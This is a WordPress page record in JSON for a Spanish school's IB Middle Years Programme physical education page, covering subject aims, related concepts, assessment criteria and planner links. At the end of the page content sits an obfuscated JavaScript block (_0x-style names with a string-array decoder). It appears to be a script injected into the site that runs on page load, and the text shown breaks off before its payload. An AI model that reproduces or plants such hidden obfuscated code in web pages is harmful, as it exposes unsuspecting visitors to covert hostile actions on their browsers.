{"id":168,"date":"2021-03-21T21:56:25","date_gmt":"2021-03-21T21:56:25","guid":{"rendered":"https:\/\/iesrosachacel.net\/pai_dev\/?page_id=168"},"modified":"2024-06-02T08:22:39","modified_gmt":"2024-06-02T08:22:39","slug":"educacion-fisica-y-para-la-salud","status":"publish","type":"page","link":"https:\/\/iesrosachacel.net\/pai_dev\/educacion-fisica-y-para-la-salud\/","title":{"rendered":"Educaci\u00f3n F\u00edsica y para la Salud"},"content":{"rendered":"\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button has-custom-width wp-block-button__width-100 is-style-outline is-style-outline--1\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/drive.google.com\/file\/d\/1ubgSXUcnJ3bPp1YrggoGZ_ixSSCZWxpU\/view?usp=sharing\" target=\"_blank\" rel=\"noreferrer noopener\">Gu\u00eda de Educaci\u00f3n F\u00edsica y para la Salud<\/a><\/div>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"Conceptosclave\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Planteamiento_de_la_asignatura\"><\/span>Planteamiento de la asignatura<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">La asignatura Educaci\u00f3n F\u00edsica y para la Salud forma parte del Programa de los A\u00f1os Intermedios (PAI) y se integra en su estructura, que hace \u00e9nfasis en el aprendizaje conceptual y en la contextualizaci\u00f3n de los aprendizajes y tiene un enfoque claramente competencial. Los rasgos fundamentales del PAI, que conforman el n\u00facleo de todas las asignaturas del programa, est\u00e1n descritos sucintamente en la p\u00e1gina&nbsp;<a rel=\"noreferrer noopener\" href=\"https:\/\/iesrosachacel.net\/pai_dev\/pai\/\" target=\"_blank\">Fundamentos del Programa de los A\u00f1os Intermedios (PAI)<\/a>.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Educaci\u00f3n F\u00edsica y para la Salud del PAI aspira a que los alumnos comprendan y aprecien el valor de ser f\u00edsicamente  activos, y adquieran la motivaci\u00f3n para tomar decisiones saludables y bien fundadas. Por lo tanto, los cursos de Educaci\u00f3n F\u00edsica y para la Salud favorecen el desarrollo de los conocimientos, habilidades y actitudes que  contribuyen a un estilo de vida sano y equilibrado.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En Educaci\u00f3n F\u00edsica y para la Salud, los alumnos explorar\u00e1n una variedad de conceptos para adquirir conciencia de distintas perspectivas con respecto al desarrollo f\u00edsico y la salud, as\u00ed como interacciones sociales positivas. La actividad f\u00edsica y la salud son fundamentales para la identidad humana y las comunidades globales, y generan  conexiones significativas entre las personas, las naciones, las culturas y el mundo natural.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mediante Educaci\u00f3n F\u00edsica y para la Salud, los alumnos aprenden a apreciar y respetar las ideas de los dem\u00e1s, y  adquieren habilidades de colaboraci\u00f3n y comunicaci\u00f3n eficaces. Esta \u00e1rea disciplinaria tambi\u00e9n brinda numerosas  oportunidades para entablar relaciones interpersonales positivas, que pueden ayudar a los alumnos a desarrollar un sentido de responsabilidad social y entendimiento intercultural.<\/p>\n<cite><em>Sinopsis oficial de la asignatura,&nbsp;<\/em><a href=\"https:\/\/www.ibo.org\/globalassets\/digital-toolkit\/brochures\/myp-briefs\/myp-brief-phe-2016-es.pdf\">https:\/\/www.ibo.org\/globalassets\/digital-toolkit\/brochures\/myp-briefs\/myp-brief-phe-2016-es.pdf<\/a><\/cite><\/blockquote>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Objetivos_generales_de_la_asignatura_Educacion_Fisica_y_para_la_Salud\"><\/span>Objetivos generales de la asignatura Educaci\u00f3n F\u00edsica y para la Salud<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Utilizar la indagaci\u00f3n para explorar conceptos de Educaci\u00f3n F\u00edsica y para la Salud<\/li>\n\n\n\n<li>Participar eficazmente en diversos contextos<\/li>\n\n\n\n<li>Comprender el valor de la actividad f\u00edsica<\/li>\n\n\n\n<li>Lograr un estilo de vida saludable y mantenerlo<\/li>\n\n\n\n<li>Colaborar y comunicarse eficazmente<\/li>\n\n\n\n<li>Entablar relaciones positivas y demostrar responsabilidad social<\/li>\n\n\n\n<li>Reflexionar sobre sus experiencias de aprendizaje<\/li>\n<\/ul>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Conceptos_relacionados\"><\/span>Conceptos relacionados<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Los conceptos relacionados favorecen la profundidad del aprendizaje. Son disciplinarios y resultan \u00fatiles para explorar los conceptos clave con m\u00e1s detalle. La indagaci\u00f3n sobre los conceptos relacionados ayuda a los alumnos a lograr una comprensi\u00f3n conceptual m\u00e1s compleja y sofisticada. Los conceptos relacionados pueden surgir del tema de una unidad, o de las caracter\u00edsticas y los procesos propios de la asignatura.<\/p>\n<cite>Gu\u00eda de Educaci\u00f3n F\u00edsica y para la Salud. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 19.<\/cite><\/blockquote>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-a185764d\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Adaptaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La adaptaci\u00f3n es el ajuste o modificaci\u00f3n de una habilidad, t\u00e9cnica, estrategia, t\u00e1ctica, proceso o elecci\u00f3n para que responda m\u00e1s adecuadamente a las necesidades de una situaci\u00f3n o aplicaci\u00f3n. La adaptaci\u00f3n puede ser necesaria como resultado de influencias del entorno, comentarios recibidos (internos o externos), interacciones entre jugadores, interacciones entre equipos y los resultados de decisiones tomadas.<\/p>\n<cite>Gu\u00eda de Educaci\u00f3n F\u00edsica y para la Salud. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 49.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Elecci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La elecci\u00f3n implica decidir entre al menos dos alternativas sabiendo que, al optar por una, tendremos que prescindir de las otras. Para elegir, es necesario evaluar la situaci\u00f3n y considerar los recursos disponibles. Hay situaciones que requieren tomar decisiones r\u00e1pidamente (por ejemplo, en una situaci\u00f3n de juego). Otras situaciones ofrecen m\u00e1s tiempo para considerar las opciones (por ejemplo, las relativas a la nutrici\u00f3n y el acondicionamiento f\u00edsico).<\/p>\n<cite>Gu\u00eda de Educaci\u00f3n F\u00edsica y para la Salud. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 49.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Energ\u00eda<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La energ\u00eda es una entidad fundamental que se transfiere entre partes de un sistema cuando se produce un cambio en dicho sistema. Es la capacidad para realizar un trabajo y, como tal, la forma y la cantidad de energ\u00eda que requiere una persona depende de la tarea que est\u00e1 realizando. La recuperaci\u00f3n de los niveles de energ\u00eda de una persona depende de una serie de factores, como el descanso, la ingesta nutricional y el tiempo. Los niveles de energ\u00eda influyen en todos los aspectos de nuestra vida, desde la capacidad para pensar y tomar decisiones eficaces hasta la capacidad de estar f\u00edsicamente activos.<\/p>\n<cite>Gu\u00eda de Educaci\u00f3n F\u00edsica y para la Salud. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 49.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Entorno<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El entorno son las circunstancias, objetos o condiciones que nos rodean. La ejecuci\u00f3n eficaz de las t\u00e9cnicas, habilidades, estrategias y t\u00e1cticas se ve influenciada por factores del entorno. Para tener \u00e9xito, los deportistas deben comprender las influencias de su entorno. El entorno no tiene por qu\u00e9 ser f\u00edsico: el entorno digital, y en particular los medios sociales, tiene un efecto considerable en la salud personal, mental, emocional y social.<\/p>\n<cite>Gu\u00eda de Educaci\u00f3n F\u00edsica y para la Salud. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 49.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Equilibrio<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El equilibrio es un estado de compensaci\u00f3n entre factores encontrados, opuestos o que interact\u00faan entre s\u00ed. El equilibrio puede darse de muchas formas, como la integraci\u00f3n est\u00e9ticamente agradable de elementos en rutinas de movimientos, la estabilidad de un equipo dada por la distribuci\u00f3n adecuada de sus jugadores, la manera de juzgar y tomar decisiones sobre estilos de vida o el hecho de otorgar la misma importancia a cada dimensi\u00f3n de la salud.<\/p>\n<cite>Gu\u00eda de Educaci\u00f3n F\u00edsica y para la Salud. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 49.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Espacio<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El espacio se refiere a las dimensiones f\u00edsicas de un \u00e1rea de ejecuci\u00f3n o juego (por ejemplo, una pista de b\u00e1dminton), a la distancia entre personas u objetos (por ejemplo, la l\u00ednea de ataque y la l\u00ednea defensiva en los deportes de campo), y a la oportunidad de experimentar algo (por ejemplo, espacio para descubrir la identidad). El espacio se puede crear, adaptar, determinar, utilizar, tomar, ganar y perder; por tanto, el \u201cespacio\u201d rara vez es absoluto.<\/p>\n<cite>Gu\u00eda de Educaci\u00f3n F\u00edsica y para la Salud. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 49.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Funci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La funci\u00f3n es la acci\u00f3n o el prop\u00f3sito espec\u00edficos para los que se dise\u00f1a o se usa algo. Las funciones pueden ser voluntarias o involuntarias. La funci\u00f3n puede formar parte de un grupo de acciones relacionadas que contribuyen a una acci\u00f3n mayor; por ejemplo, la funci\u00f3n del coraz\u00f3n contribuye a la salud general del cuerpo humano, o la funci\u00f3n del colocador en un equipo de voleibol es dirigir el ataque de su equipo. En la elecci\u00f3n y eficacia de las funciones puede influir una variedad de factores.<\/p>\n<cite>Gu\u00eda de Educaci\u00f3n F\u00edsica y para la Salud. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 50.<\/cite><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Interacci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La interacci\u00f3n es la acci\u00f3n que se ejerce rec\u00edprocamente entre dos o m\u00e1s objetos, grupos o ideas. Las interacciones pueden darse de diversas formas, por ejemplo, verbal, f\u00edsica y digital. Dependiendo de su naturaleza, las interacciones satisfactorias pueden mejorar los resultados personales, sociales y del rendimiento.<\/p>\n<cite>Gu\u00eda de Educaci\u00f3n F\u00edsica y para la Salud. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 50.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Movimiento<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El movimiento se refiere a las formas en que los objetos cambian de lugar o de posici\u00f3n. Los movimientos deportivos generalmente se dividen en dos categor\u00edas: ofensivos (de ataque) y defensivos; sin embargo, dentro de estas categor\u00edas existen varios grados. Tambi\u00e9n puede haber movimiento en relaci\u00f3n con los pensamientos y las ideas, y este tipo de movimiento depende de que las personas se pongan de acuerdo con respecto a una causa o ideal concreto.<\/p>\n<cite>Gu\u00eda de Educaci\u00f3n F\u00edsica y para la Salud. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 50.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Perfeccionamiento<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El perfeccionamiento es el proceso de modificar algo para mejorar su eficacia general. Pueden perfeccionarse comportamientos personales, procesos de pensamiento, t\u00e9cnicas, t\u00e1cticas y estrategias. El perfeccionamiento se basa en las observaciones y comentarios recibidos, ya sean internos o externos.<\/p>\n<cite>Gu\u00eda de Educaci\u00f3n F\u00edsica y para la Salud. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 50.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Perspectiva<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La perspectiva permite lograr diferentes interpretaciones, comprensiones y hallazgos. Se pueden adquirir nuevas perspectivas poni\u00e9ndose en el lugar de otras personas y tratando de entender sus opiniones y motivaciones. Las personas adquieren perspectiva escuchando a los dem\u00e1s y considerando d\u00f3nde coinciden o difieren sus puntos de vista. Buscar y considerar diversas perspectivas es crucial para el desarrollo de la salud personal, mental y social, as\u00ed como para la capacidad de concebir t\u00e9cnicas, t\u00e1cticas y estrategias deportivas eficaces.<\/p>\n<cite>Gu\u00eda de Educaci\u00f3n F\u00edsica y para la Salud. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 50.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Sistemas<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Los sistemas son conjuntos de componentes interdependientes o que interact\u00faan y que constituyen un todo indivisible. Todas las personas y comunidades dependen de diversos sistemas que, actuando conjuntamente, aportan la estructura y los procesos que necesitan para funcionar eficazmente. Para que un juego sea eficaz, los participantes deben comprender diversos sistemas, sus componentes e interacciones. Los sistemas suelen ser din\u00e1micos, ya que a menudo es necesario adaptarlos para responder a circunstancias cambiantes.<\/p>\n<cite>Gu\u00eda de Educaci\u00f3n F\u00edsica y para la Salud. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 50.<\/cite><\/blockquote>\n<\/div><\/details>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Objetivos_y_criterios_de_evaluacion\"><\/span>Objetivos y criterios de evaluaci\u00f3n<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">La asignatura Educaci\u00f3n F\u00edsica y para la Salud del Programa de los A\u00f1os Intermedios engloba en el IES Rosa Chacel los objetivos y criterios del curr\u00edculo de la Comunidad de Madrid en los cuatro bloques propios del PAI, que se exponen en este apartado. Se se\u00f1alan en cursiva los a\u00f1adidos introducidos en los criterios de evaluaci\u00f3n del PAI para atender a los del curr\u00edculo nacional espa\u00f1ol.<\/p>\n\n\n\n<h2 class=\"wp-block-heading has-normal-font-size\"><span class=\"ez-toc-section\" id=\"1o_ESO_2o_PAI\"><\/span>1\u00ba ESO (2\u00ba PAI)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-7be6f1fb\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: Conocimiento y comprensi\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-d6373ade-bfd1-4b92-a0f1-5f58b21ef40a\">\n<li>Esbozar conocimientos f\u00e1cticos, procedimentales y conceptuales de Educaci\u00f3n F\u00edsica y para la Salud <em>incluyendo actividades art\u00edstico-expresivas<\/em><\/li>\n\n\n\n<li>Identificar conocimientos de Educaci\u00f3n F\u00edsica y para la Salud para describir cuestiones y resolver problemas en situaciones tanto conocidas como desconocidas<\/li>\n\n\n\n<li>Aplicar terminolog\u00eda relacionada con la actividad f\u00edsica y la salud para transmitir su comprensi\u00f3n<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B: Planificaci\u00f3n del rendimiento<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-f5493f65-3f5c-49c2-96d2-52427e88a3fa\">\n<li>Identificar metas para mejorar el rendimiento<\/li>\n\n\n\n<li>Elaborar y esbozar un plan para mejorar la actividad f\u00edsica y la salud,<em> y en concreto en actividades de adversario (b\u00e1dminton), de colaboraci\u00f3n-oposici\u00f3n (balonmano) y en medio no estable (senderismo).<\/em><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Aplicaci\u00f3n y ejecuci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-4356626a-6990-4a0e-b102-83a6a341c03e\">\n<li>Evocar y aplicar una variedad de habilidades y t\u00e9cnicas<\/li>\n\n\n\n<li>Evocar y aplicar una variedad de estrategias y conceptos de movimiento<\/li>\n\n\n\n<li>Evocar y aplicar informaci\u00f3n para ejecutar acciones eficazmente<\/li>\n\n\n\n<li><em>Reconocer las posibilidades de las actividades f\u00edsico-deportivas y art\u00edstico-expresivas como formas de inclusi\u00f3n social<\/em><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Reflexi\u00f3n y mejora del rendimiento <\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-532f28da-f880-4d67-9fff-9a4d5c954ca3\">\n<li>Identificar y demostrar estrategias para mejorar las habilidades interpersonales<\/li>\n\n\n\n<li>Describir la eficacia de un plan en funci\u00f3n del resultado<em>, prestando atenci\u00f3n a la hidrataci\u00f3n y alimentaci\u00f3n durante la actividad f\u00edsica<\/em><\/li>\n\n\n\n<li>Describir y resumir el rendimiento<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading has-normal-font-size\"><span class=\"ez-toc-section\" id=\"2o_ESO_3o_PAI_%E2%80%93_3o_ESO_4o_PAI\"><\/span>2\u00ba ESO (3\u00ba PAI) &#8211; 3\u00ba ESO (4\u00ba PAI)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-be0b5371\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: Conocimiento y comprensi\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-d6373ade-bfd1-4b92-a0f1-5f58b21ef40a\">\n<li>Esbozar conocimientos f\u00e1cticos, procedimentales y conceptuales de Educaci\u00f3n F\u00edsica y para la Salud <em>incluyendo actividades art\u00edstico-expresivas<\/em><\/li>\n\n\n\n<li>Identificar conocimientos de Educaci\u00f3n F\u00edsica y para la Salud para describir cuestiones y resolver problemas en situaciones tanto conocidas como desconocidas<\/li>\n\n\n\n<li>Aplicar terminolog\u00eda relacionada con la actividad f\u00edsica y la salud para transmitir su comprensi\u00f3n<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B: Planificaci\u00f3n del rendimiento<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-f5493f65-3f5c-49c2-96d2-52427e88a3fa\">\n<li>Identificar metas para mejorar el rendimiento<\/li>\n\n\n\n<li>Elaborar y esbozar un plan para mejorar la actividad f\u00edsica y la salud,<em> y en concreto en actividades de adversario (b\u00e1dminton), de colaboraci\u00f3n-oposici\u00f3n (balonmano) y en medio no estable (senderismo).<\/em><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Aplicaci\u00f3n y ejecuci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-4356626a-6990-4a0e-b102-83a6a341c03e\">\n<li>Evocar y aplicar una variedad de habilidades y t\u00e9cnicas<\/li>\n\n\n\n<li>Evocar y aplicar una variedad de estrategias y conceptos de movimiento<\/li>\n\n\n\n<li>Evocar y aplicar informaci\u00f3n para ejecutar acciones eficazmente<\/li>\n\n\n\n<li><em>Reconocer las posibilidades de las actividades f\u00edsico-deportivas y art\u00edstico-expresivas como formas de inclusi\u00f3n social<\/em><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Reflexi\u00f3n y mejora del rendimiento <\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-532f28da-f880-4d67-9fff-9a4d5c954ca3\">\n<li>Identificar y demostrar estrategias para mejorar las habilidades interpersonales<\/li>\n\n\n\n<li>Describir la eficacia de un plan en funci\u00f3n del resultado<em>, prestando atenci\u00f3n a la hidrataci\u00f3n y alimentaci\u00f3n durante la actividad f\u00edsica<\/em><\/li>\n\n\n\n<li>Describir y resumir el rendimiento<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Plantillas_de_planificadores\"><\/span> Plantillas de planificadores<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button is-style-outline is-style-outline--2\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/docs.google.com\/document\/d\/15Ki3A6vxAmEdpHjvyFcKpmrFx9pxj5ucmTE6wfKwQIQ\/copy\" target=\"_blank\" rel=\"noreferrer noopener\">1\u00ba ESO (2\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--3\"><a class=\"wp-block-button__link wp-element-button\">2\u00ba ESO (3\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--4\"><a class=\"wp-block-button__link wp-element-button\">3\u00ba ESO (4\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--5\"><a class=\"wp-block-button__link wp-element-button\">4\u00ba ESO (5\u00ba PAI)<\/a><\/div>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);\"><span class=\"ez-toc-section\" id=\"Planificadores\"><\/span>Planificadores<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">Estos planificadores son fruto del trabajo de profesores del IES Rosa Chacel. Por definici\u00f3n estos documentos de planificaci\u00f3n del trabajo de aula est\u00e1n vivos, por lo que la versi\u00f3n publicada no es nunca la versi\u00f3n actual. Publicamos nuestros planificadores con la intenci\u00f3n de que resulten \u00fatiles a otros docentes. Agradecemos cualquier observaci\u00f3n que pueda mejorar nuestro trabajo o animarnos a continuar: estamos en pai@iesrosachacel.org.<\/p>\n\n\n\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"724\" src=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/3.-Expresion-corporal-1024x724.jpg\" alt=\"\" class=\"wp-image-685 size-full\" srcset=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/3.-Expresion-corporal-1024x724.jpg 1024w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/3.-Expresion-corporal-300x212.jpg 300w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/3.-Expresion-corporal-768x543.jpg 768w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/3.-Expresion-corporal-920x651.jpg 920w, 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noopener\">Descargar<\/a><\/p>\n<\/div><\/div>\n\n\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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